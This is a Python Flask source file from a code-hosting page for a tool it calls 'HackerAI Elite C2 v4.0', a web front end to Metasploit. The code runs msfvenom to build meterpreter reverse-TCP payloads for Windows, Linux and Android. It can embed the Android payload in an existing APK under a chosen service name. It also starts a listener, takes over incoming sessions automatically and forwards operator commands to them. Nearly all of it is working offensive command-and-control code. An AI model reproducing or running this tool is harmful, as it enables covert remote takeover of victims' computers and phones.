-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.py
More file actions
262 lines (214 loc) · 8.99 KB
/
Copy pathapp.py
File metadata and controls
262 lines (214 loc) · 8.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
from flask import Flask, request, jsonify, send_from_directory
from flask_socketio import SocketIO
import os, subprocess, threading, socket, re, time, select, sys, queue
app = Flask(__name__, static_folder='static', static_url_path='')
app.config['SECRET_KEY'] = 'hackerai-elite-c2-v4.0'
socketio = SocketIO(app, cors_allowed_origins="*")
PAYLOAD_DIR = 'static/payloads'
os.makedirs(PAYLOAD_DIR, exist_ok=True)
# Globals
msf_process = None
current_session_id = None
handler_active = False
in_meterpreter = False
output_queue = queue.Queue()
PAYLOAD_MAP = {
"windows": {"meterpreter": "windows/x64/meterpreter_reverse_tcp"},
"linux": {"meterpreter": "linux/x64/meterpreter_reverse_tcp"},
"android": {"meterpreter": "android/meterpreter_reverse_tcp"}
}
EXT_MAP = {
"windows": (".exe", "exe"),
"linux": (".elf", "elf"),
"android": (".apk", "raw")
}
def get_local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except:
return "127.0.0.1"
def clean_ansi(text):
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
return ansi_escape.sub('', text)
def kill_msf():
global msf_process, current_session_id, handler_active, in_meterpreter
if msf_process and msf_process.poll() is None:
try:
os.killpg(os.getpgid(msf_process.pid), 9)
except:
pass
time.sleep(1)
msf_process = None
current_session_id = None
handler_active = False
in_meterpreter = False
def start_clean_handler(lhost, lport, platform):
global msf_process, handler_active
kill_msf()
rc_content = f"""use exploit/multi/handler
set payload {PAYLOAD_MAP[platform]['meterpreter']}
set LHOST {lhost}
set LPORT {lport}
set ExitOnSession false
setg CommTimeout 300
setg SessionCommunicationTimeout 300
exploit -j
"""
rc_path = os.path.join(PAYLOAD_DIR, f"handler_{int(time.time())}.rc")
with open(rc_path, 'w') as f:
f.write(rc_content)
cmd = ['msfconsole', '-q', '-r', rc_path]
env = os.environ.copy()
env["TERM"] = "dumb"
msf_process = subprocess.Popen(
cmd,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
bufsize=0,
universal_newlines=False,
env=env,
preexec_fn=os.setsid
)
handler_active = True
socketio.emit('msf_output', {'data': f"[+] ELITE LISTENER ACTIVE: {lhost}:{lport}"})
socketio.emit('msf_output', {'data': "[*] Background handler running..."})
# Start monitoring
threading.Thread(target=monitor_msf_v4, daemon=True).start()
# Start output processor
threading.Thread(target=process_output_queue, daemon=True).start()
def process_output_queue():
while True:
try:
line = output_queue.get(timeout=1)
socketio.emit('msf_output', {'data': line})
except:
pass
def monitor_msf_v4():
global current_session_id, in_meterpreter
buffer = b""
while msf_process and msf_process.poll() is None:
try:
rlist, _, _ = select.select([msf_process.stdout], [], [], 0.05)
if rlist:
chunk = msf_process.stdout.read(2048)
if not chunk:
continue
buffer += chunk
# Process complete lines
while b'\n' in buffer or b'\r' in buffer:
if b'\r\n' in buffer:
line, buffer = buffer.split(b'\r\n', 1)
elif b'\n' in buffer:
line, buffer = buffer.split(b'\n', 1)
else:
break
clean_line = clean_ansi(line.decode('utf-8', errors='replace')).strip()
if len(clean_line) > 1:
output_queue.put(clean_line)
# Session detection - pick LAST session (most recent)
session_match = re.search(r'Meterpreter session\s+(\d+)', clean_line)
if session_match:
current_session_id = session_match.group(1)
output_queue.put(f"🎯 LATEST SESSION: {current_session_id}")
# Auto-switch to meterpreter ONCE
if current_session_id and not in_meterpreter:
if "opened" in clean_line:
time.sleep(2)
# Ctrl+C background jobs, enter session
msf_process.stdin.write(b"\x03\njobs -K\n")
msf_process.stdin.flush()
time.sleep(0.5)
enter_cmd = f"sessions -i {current_session_id}\n"
msf_process.stdin.write(enter_cmd.encode())
msf_process.stdin.flush()
time.sleep(1)
msf_process.stdin.write(b"setg Prompt 'meter> '\n")
msf_process.stdin.flush()
in_meterpreter = True
output_queue.put("✅ METERPRETER LIVE - FULL CONTROL!")
except Exception as e:
output_queue.put(f"[DEBUG] Monitor error: {e}")
time.sleep(0.1)
@app.route('/')
def index():
return send_from_directory('.', 'meta_ui.html')
@app.route('/generate', methods=['POST'])
def generate():
try:
data = request.json
lhost = data.get('lhost', get_local_ip())
lport = str(data.get('lport', 4444))
platform = data['platform']
filename = data['filename'].strip()
# NEW: App Name and Template Logic
app_name = data.get('app_name', 'MainService')
template_path = data.get('template_path') # Path to an existing .apk
ext, fmt = EXT_MAP[platform]
payload_path = os.path.join(PAYLOAD_DIR, f"{filename}{ext}")
cmd = [
'msfvenom', '-p', PAYLOAD_MAP[platform]['meterpreter'],
f'LHOST={lhost}', f'LPORT={lport}',
'-f', fmt, '-o', payload_path
]
# If it's Android and we want to customize
if platform == "android":
# Change the internal Android service name
cmd.append(f'AndroidServiceName={app_name}')
# If a template APK is provided, it uses that icon/name
if template_path and os.path.exists(template_path):
cmd.extend(['-x', template_path])
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
if os.path.exists(payload_path):
return jsonify({'success': True, 'url': f"/payloads/{filename}{ext}", 'file': f"{filename}{ext}"})
return jsonify({'success': False, 'error': result.stderr}), 500
except Exception as e:
return jsonify({'success': False, 'error': str(e)}), 500
@app.route('/start_listener', methods=['POST'])
def start_listener():
try:
data = request.json
threading.Thread(target=start_clean_handler, args=(data['lhost'], data['lport'], data['platform']), daemon=True).start()
return jsonify({'success': True})
except Exception as e:
return jsonify({'success': False, 'error': str(e)}), 500
@app.route('/send_command', methods=['POST'])
def send():
global msf_process, current_session_id, in_meterpreter
if not msf_process or msf_process.poll() is not None:
return jsonify({'error': 'No MSF process'}), 500
cmd = request.json.get('command', '').strip()
if not cmd:
return jsonify({'success': False}), 400
output_queue.put(f"meter> {cmd}")
try:
# Clear buffer
msf_process.stdin.write(b"\n")
msf_process.stdin.flush()
time.sleep(0.1)
if in_meterpreter and current_session_id:
msf_process.stdin.write(f"{cmd}\n".encode())
elif current_session_id:
full_cmd = f"sessions -i {current_session_id}\n{cmd}\n"
msf_process.stdin.write(full_cmd.encode())
else:
msf_process.stdin.write(f"{cmd}\n".encode())
msf_process.stdin.flush()
return jsonify({'success': True})
except:
return jsonify({'error': 'Send failed'}), 500
@app.route('/stop_listener', methods=['POST'])
def stop_listener():
kill_msf()
output_queue.put("[+] All stopped")
return jsonify({'success': True})
@app.route('/payloads/<filename>')
def payloads(filename):
return send_from_directory(PAYLOAD_DIR, filename)
if __name__ == '__main__':
print("🚀 HackerAI Elite C2 v4.0 - MULTI-SESSION FIXED!")
socketio.run(app, host='0.0.0.0', port=5001, debug=False)